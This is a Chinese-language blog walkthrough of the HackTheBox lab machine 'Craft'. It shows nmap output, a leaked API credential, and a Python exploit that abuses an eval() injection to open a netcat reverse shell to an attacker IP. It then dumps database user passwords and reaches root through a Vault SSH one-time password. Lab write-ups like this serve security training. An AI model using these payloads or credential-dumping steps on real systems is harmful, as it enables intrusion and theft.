文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-05-08   1.7k

HTB::Craft Walkthrough

0x01 Info Card

0x02 Tools and Tips

  • nmap
  • REST API
  • Git commit history
  • Vault OTP

0x03 Pentesting

Inital Enumeration

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ nmap -A -Pn -T4 -p- 10.10.10.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-01 21:42 EDT
Nmap scan report for 10.10.10.110
Host is up (0.29s latency).
Not shown: 65462 closed ports, 70 filtered ports

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
6022/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=5/1%Time=5EACD7D6%P=x86_64-pc-linux-gnu%r(NUL
SF:L,C,"SSH-2\.0-Go\r\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2030.05 seconds

主要考察443端口站点

导航栏有两个网页链接:

1
2
3
4
<ul class="nav navbar-nav pull-right">
<li><a href="https://api.craft.htb/api/">API</a></li>
<li><a href="https://gogs.craft.htb/"><img border="0" alt="Git" src="/static/img/Git-Icon-Black.png" width="20" height="20"></a></li>
</ul>

api.craft.htbgogs.craft.htb加到/etc/hosts文件中,再访问:

发现是一个REST API接口Swagger文档,单独的一个API文档没有什么利用价值,再去看看gogs.craft.htb

发现是一个类似GitHub的代码托管平台,里面有443端口站点的源代码,来看看commit提交历史:

主要看编号为 c414b16057 and 10e3ba4f0a这两个commits,其中c414b16057 代码执行漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@@ -38,9 +38,13 @@ class BrewCollection(Resource):
"""
Creates a new brew entry.
"""
-
- create_brew(request.json)
- return None, 201
+
+ # make sure the ABV value is sane.
+ if eval('%s > 1' % request.json['abv']):
+ return "ABV must be a decimal value less than 1.0", 400
+ else:
+ create_brew(request.json)
+ return None, 201
@ns.route('/<int:id>')
@api.response(404, 'Brew not found.')

10e3ba4f0a有一处代码泄露:

1
2
3
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+json_response = json.loads(response.text)
+token = json_response['token']

利用思路:用凭证dinesh: 4aUh0A8PbVJxgd登录api.craft.htb/api/auth/login,然后再利用代码执行漏洞写入反弹shell,show code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

print("Create bogus ABV brew")
payload = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.43 1234 >/tmp/f')"
brew_dict = {}
brew_dict['abv'] = payload + '| 0.15'
brew_dict['name'] = 'exp'
brew_dict['brewer'] = 'exp'
brew_dict['style'] = 'exp'


json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

主机监听1234端口,成功反弹shell。

Getting User Access

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/opt/app # cd /
/ # ls -la
total 64
drwxr-xr-x 1 root root 4096 Feb 10 2019 .
drwxr-xr-x 1 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 3 17:20 bin
drwxr-xr-x 5 root root 340 Jan 3 14:58 dev
drwxr-xr-x 1 root root 4096 Feb 10 2019 etc
drwxr-xr-x 2 root root 4096 Jan 30 2019 home
drwxr-xr-x 1 root root 4096 Feb 6 2019 lib
drwxr-xr-x 5 root root 4096 Jan 30 2019 media
drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt
drwxr-xr-x 1 root root 4096 Feb 9 2019 opt
dr-xr-xr-x 238 root root 0 Jan 3 14:58 proc
drwx------ 1 root root 4096 Jan 3 15:16 root
drwxr-xr-x 2 root root 4096 Jan 30 2019 run
drwxr-xr-x 2 root root 4096 Jan 30 2019 sbin
drwxr-xr-x 2 root root 4096 Jan 30 2019 srv
dr-xr-xr-x 13 root root 0 Jan 3 14:58 sys
drwxrwxrwt 1 root root 4096 Jan 3 17:26 tmp
drwxr-xr-x 1 root root 4096 Feb 9 2019 usr
drwxr-xr-x 1 root root 4096 Jan 30 2019 var
/ #

结果发现并没有拿到靶机的shell,而是一个docker镜像的shell。

发现在项目的主目录/opt/app有一个dbtest.py文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)

finally:
connection.close()

此时mysql命令同样不能使用。

但是,我们从gogs仓库的代码中,得知数据库中应该有两张表:brewuser,那么就可以模仿dbtest.py重新写一个查询语句dump所有的用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT `username`, `password` FROM `user`"
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

所有用户:

1
2
3
{'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, 
{'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
{'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}

经过尝试,这几个密码并不是SSH的登录密码,实在没思路了去看了一眼Writeup,gilfoyle有一个私有仓库craft-infra,并且仓库代码中泄露了SSH的private key:

并且这个private key有密码保护,但是这个密码和gilfoyle的gogs密码相同:

Getting Root Access

用户的主目录下有一个.vault_key文件,Google一下

Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API.

根据https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords这篇文档,再结合craft-infra仓库中有一个文件夹vault中的secrets.sh文件,可以使用vault命令登录SSH:

1
2
3
4
5
[email protected]:~$ vault ssh -role root_otp -mode otp [email protected]
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: a66d769f-f1e3-e3bd-9b52-2cfb7edcd85b

这样说起来提权过程好像比较简短,但是做起来要花不少的功夫。

Copyright © ca01h 2019-2020 | 本站总访问量